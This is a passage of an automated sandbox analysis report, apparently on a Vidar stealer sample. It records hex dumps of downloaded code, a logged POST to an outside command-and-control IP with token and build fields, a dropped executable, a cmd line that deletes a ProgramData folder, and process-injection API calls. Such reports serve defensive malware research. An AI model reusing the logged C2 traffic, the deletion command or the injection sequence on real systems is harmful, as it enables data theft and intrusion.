2024-08-04 00:22:02 UTC	16384	IN	Data Raw: c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 8b f8 Data Ascii: @:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSV
2024-08-04 00:22:02 UTC	16384	IN	Data Raw: 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 74 24 Data Ascii: wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5t$
2024-08-04 00:22:02 UTC	16384	IN	Data Raw: 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f 0a 8b Data Ascii: D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-08-04 00:22:02 UTC	16384	IN	Data Raw: 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: 2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-08-04 00:22:02 UTC	16384	IN	Data Raw: c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-08-04 00:22:02 UTC	16384	IN	Data Raw: c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 cc cc Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-08-04 00:22:02 UTC	16384	IN	Data Raw: 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 e2 8b Data Ascii: ,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-08-04 00:22:02 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49773	168.119.176.241	443	1596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-04 00:22:05 UTC	327	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 168.119.176.241 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
2024-08-04 00:22:05 UTC	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 36 62 36 34 38 38 31 64 36 38 66 30 65 32 32 30 63 35 65 30 66 37 30 39 34 61 64 39 34 37 64 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 36 32 35 64 37 61 38 65 33 37 39 33 32 31 36 35 36 66 66 31 62 38 38 65 62 66 39 35 34 32 62 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 Data Ascii: ------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="token"b6b64881d68f0e220c5e0f7094ad947d------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="build_id"625d7a8e379321656ff1b88ebf9542b7------BGIJDGCAEBFIIECAKFHICont
2024-08-04 00:22:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 00:22:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-04 00:22:05 UTC	15	IN	Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

Analysis Process: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exePID: 6448, Parent PID: 2580

General

Target ID:	0
Start time:	20:21:00
Start date:	03/08/2024
Path:	C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe"
Imagebase:	0x3d0000
File size:	186'368 bytes
MD5 hash:	3CD180F72198597215CAB492C109F5A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000000.1698830320.00000000003F0000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:21:39
Start date:	03/08/2024
Path:	C:\ProgramData\EHDHIDAEHC.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\EHDHIDAEHC.exe"
Imagebase:	0x600000
File size:	5'140'480 bytes
MD5 hash:	4B005E8541F7ED9BD82D80CE58C55C7C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000004.00000002.2094707680.000000000436C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000004.00000002.2094707680.0000000003EC0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000004.00000002.2092269679.0000000002FC9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000004.00000002.2094707680.000000000439A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000004.00000002.2094707680.0000000003E93000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:21:39
Start date:	03/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x190000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:21:39
Start date:	03/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xbb0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000006.00000002.2343148482.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:21:48
Start date:	03/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\BFCAAEHJDBKJ" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:21:48
Start date:	03/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x4d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:21:48
Start date:	03/08/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0xc60000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exePID: 6448, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	5.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	43

Executed Functions

Function 003E7A40 Relevance: 231.7, APIs: 121, Strings: 11, Instructions: 726
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,031C7600), ref: 003E7A55
GetProcAddress.KERNEL32(74DD0000,031C7620), ref: 003E7A6D
GetProcAddress.KERNEL32(74DD0000,031D2AE0), ref: 003E7A86
GetProcAddress.KERNEL32(74DD0000,031D2CC0), ref: 003E7A9E
GetProcAddress.KERNEL32(74DD0000,031D2BD0), ref: 003E7AB6
GetProcAddress.KERNEL32(74DD0000,031D2CF0), ref: 003E7ACF
GetProcAddress.KERNEL32(74DD0000,031CA4C0), ref: 003E7AE7
GetProcAddress.KERNEL32(74DD0000,031D2BE8), ref: 003E7AFF
GetProcAddress.KERNEL32(74DD0000,031D2CA8), ref: 003E7B18
GetProcAddress.KERNEL32(74DD0000,031D2D68), ref: 003E7B30
GetProcAddress.KERNEL32(74DD0000,031D2B28), ref: 003E7B48
GetProcAddress.KERNEL32(74DD0000,031C7700), ref: 003E7B61
GetProcAddress.KERNEL32(74DD0000,031C7720), ref: 003E7B79
GetProcAddress.KERNEL32(74DD0000,031C7740), ref: 003E7B91
GetProcAddress.KERNEL32(74DD0000,031C7760), ref: 003E7BAA
GetProcAddress.KERNEL32(74DD0000,031D2C60), ref: 003E7BC2
GetProcAddress.KERNEL32(74DD0000,031D2A98), ref: 003E7BDA
GetProcAddress.KERNEL32(74DD0000,031CA740), ref: 003E7BF3
GetProcAddress.KERNEL32(74DD0000,031C7480), ref: 003E7C0B
GetProcAddress.KERNEL32(74DD0000,031D2B88), ref: 003E7C23
GetProcAddress.KERNEL32(74DD0000,031D2C78), ref: 003E7C3C
GetProcAddress.KERNEL32(74DD0000,031D2D20), ref: 003E7C54
GetProcAddress.KERNEL32(74DD0000,031D2BA0), ref: 003E7C6C
GetProcAddress.KERNEL32(74DD0000,031C74A0), ref: 003E7C85
GetProcAddress.KERNEL32(74DD0000,031D2BB8), ref: 003E7C9D
GetProcAddress.KERNEL32(74DD0000,031D2D08), ref: 003E7CB5
GetProcAddress.KERNEL32(74DD0000,031D2D38), ref: 003E7CCE
GetProcAddress.KERNEL32(74DD0000,031D2C00), ref: 003E7CE6
GetProcAddress.KERNEL32(74DD0000,031D2C90), ref: 003E7CFE
GetProcAddress.KERNEL32(74DD0000,031D2C18), ref: 003E7D17
GetProcAddress.KERNEL32(74DD0000,031D2D50), ref: 003E7D2F
GetProcAddress.KERNEL32(74DD0000,031D2AB0), ref: 003E7D47
GetProcAddress.KERNEL32(74DD0000,031D2C30), ref: 003E7D60
GetProcAddress.KERNEL32(74DD0000,031C9A50), ref: 003E7D78
GetProcAddress.KERNEL32(74DD0000,031D2C48), ref: 003E7D90
GetProcAddress.KERNEL32(74DD0000,031D2AC8), ref: 003E7DA9
GetProcAddress.KERNEL32(74DD0000,031C74C0), ref: 003E7DC1
GetProcAddress.KERNEL32(74DD0000,031D2B58), ref: 003E7DD9
GetProcAddress.KERNEL32(74DD0000,031C7000), ref: 003E7DF2
GetProcAddress.KERNEL32(74DD0000,031D2B10), ref: 003E7E0A
GetProcAddress.KERNEL32(74DD0000,031D2B70), ref: 003E7E22
GetProcAddress.KERNEL32(74DD0000,031C7180), ref: 003E7E3B
GetProcAddress.KERNEL32(74DD0000,031C70E0), ref: 003E7E53
GetProcAddress.KERNEL32(74DD0000,CreateProcessA), ref: 003E7E6A
GetProcAddress.KERNEL32(74DD0000,GetThreadContext), ref: 003E7E80
GetProcAddress.KERNEL32(74DD0000,ReadProcessMemory), ref: 003E7E97
GetProcAddress.KERNEL32(74DD0000,VirtualAllocEx), ref: 003E7EAE
GetProcAddress.KERNEL32(74DD0000,ResumeThread), ref: 003E7EC4
GetProcAddress.KERNEL32(74DD0000,WriteProcessMemory), ref: 003E7EDB
GetProcAddress.KERNEL32(74DD0000,SetThreadContext), ref: 003E7EF2
LoadLibraryA.KERNEL32(031D51D0,003E66E1), ref: 003E7F03
LoadLibraryA.KERNEL32(031D51B8), ref: 003E7F15
LoadLibraryA.KERNEL32(031D5080), ref: 003E7F27
LoadLibraryA.KERNEL32(031D4FF0), ref: 003E7F38
LoadLibraryA.KERNEL32(031D4EE8), ref: 003E7F4A
LoadLibraryA.KERNEL32(031D5098), ref: 003E7F5C
LoadLibraryA.KERNEL32(031D50C8), ref: 003E7F6D
LoadLibraryA.KERNEL32(031D50B0), ref: 003E7F7F
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 003E7F8F
GetProcAddress.KERNEL32(75290000,031C73A0), ref: 003E7FAB
GetProcAddress.KERNEL32(75290000,031D5158), ref: 003E7FC3
GetProcAddress.KERNEL32(75290000,031D0958), ref: 003E7FDB
GetProcAddress.KERNEL32(75290000,031D4F48), ref: 003E7FF4
GetProcAddress.KERNEL32(75290000,031C72A0), ref: 003E800C
GetProcAddress.KERNEL32(734C0000,031CA498), ref: 003E802C
GetProcAddress.KERNEL32(734C0000,031C7140), ref: 003E8044
GetProcAddress.KERNEL32(734C0000,031CA808), ref: 003E805C
GetProcAddress.KERNEL32(734C0000,031D5140), ref: 003E8075
GetProcAddress.KERNEL32(734C0000,031D4FC0), ref: 003E808D
GetProcAddress.KERNEL32(734C0000,031C70A0), ref: 003E80A5
GetProcAddress.KERNEL32(734C0000,031C7120), ref: 003E80BE
GetProcAddress.KERNEL32(734C0000,031D4F00), ref: 003E80D6
GetProcAddress.KERNEL32(752C0000,031C7360), ref: 003E80F2
GetProcAddress.KERNEL32(752C0000,031C71E0), ref: 003E810A
GetProcAddress.KERNEL32(752C0000,031D5110), ref: 003E8122
GetProcAddress.KERNEL32(752C0000,031D4F30), ref: 003E813B
GetProcAddress.KERNEL32(752C0000,031C7160), ref: 003E8153
GetProcAddress.KERNEL32(74EC0000,031CA8A8), ref: 003E8173
GetProcAddress.KERNEL32(74EC0000,031CA768), ref: 003E818B
GetProcAddress.KERNEL32(74EC0000,031D4F18), ref: 003E81A3
GetProcAddress.KERNEL32(74EC0000,031C7080), ref: 003E81BC
GetProcAddress.KERNEL32(74EC0000,031C73C0), ref: 003E81D4
GetProcAddress.KERNEL32(74EC0000,031CA4E8), ref: 003E81EC
GetProcAddress.KERNEL32(75BD0000,031D5020), ref: 003E820C
GetProcAddress.KERNEL32(75BD0000,031C7240), ref: 003E8224
GetProcAddress.KERNEL32(75BD0000,031D08C8), ref: 003E823D
GetProcAddress.KERNEL32(75BD0000,031D5128), ref: 003E8255
GetProcAddress.KERNEL32(75BD0000,031D4F60), ref: 003E826D
GetProcAddress.KERNEL32(75BD0000,031C70C0), ref: 003E8286
GetProcAddress.KERNEL32(75BD0000,031C71A0), ref: 003E829E
GetProcAddress.KERNEL32(75BD0000,031D5068), ref: 003E82B6
GetProcAddress.KERNEL32(75BD0000,031D50E0), ref: 003E82CF
GetProcAddress.KERNEL32(75A70000,031C7060), ref: 003E82EB
GetProcAddress.KERNEL32(75A70000,031D5050), ref: 003E8303
GetProcAddress.KERNEL32(75A70000,031D51A0), ref: 003E831C
GetProcAddress.KERNEL32(75A70000,031D4F78), ref: 003E8334
GetProcAddress.KERNEL32(75A70000,031D4F90), ref: 003E834C
GetProcAddress.KERNEL32(75450000,031C7200), ref: 003E8368
GetProcAddress.KERNEL32(75450000,031C6FE0), ref: 003E8380
GetProcAddress.KERNEL32(75DA0000,031C7220), ref: 003E839C
GetProcAddress.KERNEL32(75DA0000,031D4FA8), ref: 003E83B4
GetProcAddress.KERNEL32(6F060000,031C7340), ref: 003E83D4
GetProcAddress.KERNEL32(6F060000,031C7260), ref: 003E83EC
GetProcAddress.KERNEL32(6F060000,031C7020), ref: 003E8405
GetProcAddress.KERNEL32(6F060000,031D4FD8), ref: 003E841D
GetProcAddress.KERNEL32(6F060000,031C7380), ref: 003E8435
GetProcAddress.KERNEL32(6F060000,031C7040), ref: 003E844E
GetProcAddress.KERNEL32(6F060000,031C7100), ref: 003E8466
GetProcAddress.KERNEL32(6F060000,031C71C0), ref: 003E847E
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 003E8495
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 003E84AC
GetProcAddress.KERNEL32(75AF0000,031D50F8), ref: 003E84C8
GetProcAddress.KERNEL32(75AF0000,031D0A48), ref: 003E84E0
GetProcAddress.KERNEL32(75AF0000,031D5170), ref: 003E84F9
GetProcAddress.KERNEL32(75AF0000,031D5188), ref: 003E8511
GetProcAddress.KERNEL32(75D90000,031C7300), ref: 003E852D
GetProcAddress.KERNEL32(6CEB0000,031D5008), ref: 003E8549
GetProcAddress.KERNEL32(6CEB0000,031C7280), ref: 003E8561
GetProcAddress.KERNEL32(6CEB0000,031D5038), ref: 003E857A
GetProcAddress.KERNEL32(6CEB0000,031D5410), ref: 003E8592
GetProcAddress.KERNEL32(6CCC0000,SymMatchString), ref: 003E85AC

Strings

InternetSetOptionA, xrefs: 003E84A1
VirtualAllocEx, xrefs: 003E7EA3
ResumeThread, xrefs: 003E7EBE
SetThreadContext, xrefs: 003E7EE7
dbghelp.dll, xrefs: 003E7F85
CreateProcessA, xrefs: 003E7E5F
SymMatchString, xrefs: 003E85A6
HttpQueryInfoA, xrefs: 003E848A
ReadProcessMemory, xrefs: 003E7E8C
WriteProcessMemory, xrefs: 003E7ED0
GetThreadContext, xrefs: 003E7E7A

Memory Dump Source

Source File: 00000000.00000002.2173951345.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.2173930280.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173999328.00000000003F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000003FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000404000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004F7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174020167.00000000004FA000.00000004.00000001.01000000.00000003.sdmpDownload File
